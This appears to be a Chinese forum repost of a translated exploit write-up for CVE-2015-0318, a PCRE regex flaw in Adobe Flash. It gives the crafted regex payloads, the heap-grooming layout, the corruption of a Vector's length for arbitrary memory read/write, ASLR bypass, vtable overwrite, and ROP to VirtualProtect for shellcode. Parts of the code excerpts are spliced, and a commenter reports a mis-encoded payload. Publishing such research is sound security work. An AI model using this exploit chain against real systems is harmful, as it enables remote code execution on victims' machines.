阅读:3864回复:0
在Flash中利用PCRE正则式漏洞CVE-2015-0318的方法
◆0 前言
标题:(^Exploiting)s(CVE-2015-0318)s(in)s*(Flash$) 作者:Mark Brand issue 199/PSIRT-3161/CVE-2015-0318 简要概述:Flash使用的PCRE正则式解析引擎(https://github.com/adobe-flash/avmplus/tree/master/pcre, 请注意公开的avmplus代码早已过期,他之前有的许多其他漏洞已经被Adobe修复,所以审计这段代码可能会比较让人灰心)。 注:明显这个引擎是有漏洞的,从上面的issue页面可以看到漏洞的相关信息。 ◆1 背景 #!c/* For c, a following letter is upper-cased; then the 0x40 bit is flipped.This coding is ASCII-specific, but then the whole concept of cx isASCII-specific. (However, an EBCDIC equivalent has now been added.) */case 'c': XoffsetStackSaveMax) { if (frame->XoffsetStackSave != frame->XoffsetStackSaveStg) { (pcre_free)(frame->XoffsetStackSave); } frame->XoffsetStackSave = (int *)(pcre_malloc)(savedElems * sizeof(int)); if (frame->XoffsetStackSave == NULL) { RRETURN(PCRE_ERROR_NOMEMORY); } frame->XoffsetStackSaveMax = savedElems; } VMPI_memcpy(offsetStackSave, md->offset_vector + offset, (savedElems * sizeof(int))); for (int resetOffset = offset + 2; resetOffset < offset_top; resetOffset++) { md->offset_vector[resetOffset] = -1; } } else { offsetStackSave[1] = md->offset_vector[offset]; offsetStackSave[2] = md->offset_vector[offset + 1]; savedElems = 0; } md->offset_vector[md->offset_end - number] = eptr - md->start_subject; 0 && re->top_backref >= ocount / 3){ ocount = re->top_backref * 3 + 3; md->offset_vector = (int *)(pcre_malloc)(ocount * sizeof(int)); if (md->offset_vector == NULL) { return PCRE_ERROR_NOMEMORY; } using_temporary_offsets = TRUE; DPRINTF(("Got memory to hold back referencesn"));}else{ md->offset_vector = offsets;}md->offset_end = ocount;md->offset_max = (2 * ocount) / 3;md->offset_overflow = FALSE;md->capture_last = -1;赞,好事成双。当分配大小大于99*4=396字节时,我们可以差不多控制一个堆创建之后的一个DWORD了。由于我们需要的是写入分配区域之后,所以看看Flash的堆分配器,它告诉我们,504字节是我们准确匹配到的第一个区域的大小,所以我们需要 md->top_backref == 41 这么大来获得这个数字。这个简单,只要我们加一堆捕获组和回溯引用即可。 (A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)41(c?0?4+)?(?43)另一个我们将要碰到的问题是Flash并不会校验正则表达式是否编译成功,如果我们第一个堆分配失败的话,find_bracket将不会找到一个匹配该组的数据,因此编译也会失败当调试的时候这个是相当复杂的,所以我们可以在开头加一个常量,这样我们就能用它来测试是否编译成功了。 (c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)41(c?0?4+)?(?70))像我们之前提到的一样,我们需要一次堆分配来让我们的代码正好位于从我们提供的正则式中编译出的字节码的缓存位置之后。为了更简单一些,我们会把正则式贴到缓存后面,这样对Flash的堆分配器来说,这就又是一个不错的数字了,下一个可用单元是576字节,每个字符匹配增加2个字节。 (c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)41AAAAAAAAAAAAAAAAAAAAAAAAAAA(c?0?4*)?(?70))我们需要通过更多的修改来让这个将当前匹配的长度复写问题产生作用,所以我们需要有更简单的方式来控制它。我们可以调整第一组来让匹配任意个数的不同字符,如下: (c01db33f|(B*)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)41AAAAAAAAAAAAAAAAAAAAAAAAAAA(c?0?4*)?(?70))注:漏洞代码中,我们会在选定的字符里面随意替换B,原因是Flash会缓存编译的正则式,无论成功与否都会,如果我们的分配失败了,我们还是需要强制它重新编译正则的。 所以,这就意味着漏洞最初的编译处理工作已经完成了。我们已经知道如何通过这个跨界写的字节码payload,是: 0000 5e00010046 94 CBRA [1, 70]0005 5e00000000 94 CBRA [0, 0]000a 6d 109 ACCEPT为了成功写入,最后的ACCEPT是必须的,我们需要让组0成为一个匹配项,ACCEPT将强行完成这个动作,而且还有个好处是它使用的字节码最少。 现在,如果你一路看下来,可能觉得这个东西实在是麻烦。在许多情况下,这差不多就是漏洞的开始:我们控制了分配的大小,而且我们把我们的匹配项的长度写到了它的末尾,虽然说要覆写一个指针是个相当烦人的事情。但是好消息是在Flash中有一个一了百了的解决反感:Vector.,我们可以分配任意大小的这种对象,而且它的最开始的一个DWORD就是一个长度域。当我们改写了这个长度域,在产生任意读写的道路上,我们就不会有任何阻碍了,而且也将是一个非常稳定的漏洞代码。 ◆1 编译正则式 首先我们需要分配一大组大小504的缓冲区(和我们编译的正则式一样),然后用我们的恶意字节码填充它: #!bash _______________________________________________________________________________________|exploit-bytecode------------|exploit-bytecode------------|exploit-bytecode------------|`````````````````````````````````````````````````````````````````````````````然后我们释放第二个buffer,这样我们就能保留下一个大小正好的“沟”,而且这里的沟很容易被Flash堆分配器再利用。 (译注:意思是要分配的也是这么大,所以分配器可能优先从这里分配堆上空间) #!bash _______________________________________________________________________________________|exploit-bytecode------------|FREE |exploit-bytecode------------|`````````````````````````````````````````````````````````````````````````````所以当我们试图编译我们的正则式的时候,我们差不多每次都会分配到这里,这个沟内正好会填上一份我们的恶意字节码,所以我们就构造了一个紧贴着buffer的字节码。 #!bash _______________________________________________________________________________________|exploit-bytecode------------|ERCP|metadata|regex-bytecode|exploit-bytecode------------|````````````````````````````````````````````````````````````````````````````◆2 执行正则式破坏vector的length 这里也要用一些花招,我们想要有一个大小0xffffffff的Vector,这样我们就能读写所有内存了(译注:真的不是0x7fffffff嘛),我们实际上创建了一个跟随着两个Vector 的gap,它们的分配大小需要是576,就是我们offset_vector的大小。 #!bash _______________________________________________________________________________________|length|vector---------------|length|vector---------------|length|vector---------------|`````````````````````````````````````````````````````````````````````````````像是: #!bash_______________________________________________________________________________________|FREE |length|vector---------------|length|vector---------------|`````````````````````````````````````````````````````````````````````````````当正则式执行起来,当前匹配的大小(一个DWORD)会写过分配的offset_vector末尾,然后会把第一个vector的length域破坏掉。 #!bash_______________________________________________________________________________________|offset_vector---------------|corrupt|vector--------------|length|vector---------------|`````````````````````````````````````````````````````````````````````````````我们只需要增加第一个vector的大小1个字节,我们就可以用第一个vector来完全控制第二个字节: #!bash _______________________________________________________________________________________|offset_vector---------------|length+1|vector--------------------|vector---------------|`````````````````````````````````````````````````````````````````````````````_______________________________________________________________________________________|offset_vector---------------|length+1|vector---------------|UINT_MAX|vector-----------------------`````````````````````````````````````````````````````````````````````````````现在,我们已经有所有Flash进程的内存地址的读写权限了,差不多可以宣告Flash完蛋了,最后还有一个主要问题,我们并不知道我们的超大Vector.在哪儿,因为所有的内存操作都是基于这个缓存的地址的。 ◆3 坏掉的Vector在哪儿 方便的是,在返回actionscript之前,PCRE代码将会为这个超大的vector自动释放缓存。这意味着我们可以往回找到我们的vector,从它之后的自由块(译注:已经被释放的缓冲区区域)中找到一个freelist指针。 |FREE |ptr| |length|vector---|---|---|---|-|UINT_MAX|vector---|---|---|---|---|| ```````````````````````````````` 这个指针会指向下一个可用块,差不多就是我们那个超大的vector,我们可以检查一下是不是,当然也不是必须的,因为block size实在是很大,赌一下也很安全。这样我们的相对读写权限就可以转为完全读写了。 |FREE |ptr| |length|vector---|---|---|---|-|UINT_MAX|vector---|---|---|---|---||FREE|ptr| ````|`````````````````````````````````````````^```````` |___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|__| ◆4 其他 剩余的就是一个简单的Windows任意代码读写的教程了,如果你觉得很无聊的话,这段也可以不用看。 1. 找到一个模块 我们通过定位Vector绕过了ASLR,但是我们并不知道其他东西在哪儿,我们需要一个能用的已经载入的模块,这样我们就可以用它的代码了。一个方法是堆喷,但是现在并没有这个必要。 Flash使用的FixedAlloc分配器分配的内存页起始处有一个非常不错的结构,它包含有一个最终指向一个C++类的静态实例。这个实例起始就是在Flash模块中的,所以我们能用这个来定位到Flash模块,详情见漏洞代码。 当我们在模块中有一个指针的时候,我们就能从这个指针开始往回找到所有MZ标记,这样就能识别各个模块,然后获取它们的导出表了,这可以在我们的漏洞最终阶段使用 2. 覆盖 现在我们已经绕过了ASLR,如果这是一个linux漏洞而且没有RELRO的话,我们只需要覆盖GOT节的一个函数指针(参阅:http://googleprojectzero.blogspot.ch/2014/09/exploiting-cve-2014-0556-in-flash.html)即可,但是Windows却没有这么方便的技术,通过逆向Flash的文件我们终于找到一个可以覆盖的地方,比在堆上来操作简单一些。 如果我们再创建一个AS类,然后实例化这个类,这时它会在堆上分配,同时也会有一个vtable指针来关联和对象相关的函数。我们可以创建一个有一些固定特征的类,然后让它变得容易找到,通过查询堆结构,然后定位到这个类,这样我们也就不必冒访问未初始化内存的风险了。 3. 执行代码 Flash JIT有用的一个功能是如果参数是一个简单的原生类型的话,它就会被压入原始栈上(就像普通的原生函数调用一样)。这意味着用一大堆uint参数来覆盖函数指针的话我们就可以控制一大块原生栈空间,当函数被调用的时候,我们就能直接ROP到合法的程序栈上。 我们需要做的就是调用VirtualProtect来让Vector所在页属性被标记为可执行,然后放入我们的Shellcode,跳进去就一切ok了。 调用VirtualProtect时可以通过创建一些没用的变量来创建一个足够大的栈空间这样返回的时候也不会破坏Flash原始的栈帧了(我们的假栈帧会插到原始的栈帧中间) 4. 返回执行流 执行成功了,怎么返回Flash不让它崩呢?看看我们对进程做的事情,如果一切顺利,我们也只损坏了3个dword的内存,所以还是很容易恢复执行的: [*] [*]第一个vector的大小增加了1 [*] [*]第二个vector的大小增加成了UINT_MAX [*] [*]还有改了指向我们函数的那个函数指针 这意味着如果我们能正确的处理的话,Flash在漏洞执行前后将会几乎看不出来变化,我们的ROP看起来将会像是对Flash函数的一个Hook,在执行完我们的代码之后还会返回到原来的Flash函数内。 收藏 分享 新浪微博 captcha.php 图片:avatar_1585.jpg 已修正~ 回复 图片:avatar_1598.jpeg c?0?4+(?1)这个原文应该是cЀ+(?1)可能俺提交的稿子编码有问题显示错乱了?=。= 回复 图片:avatar_1598_b.jpeg |
|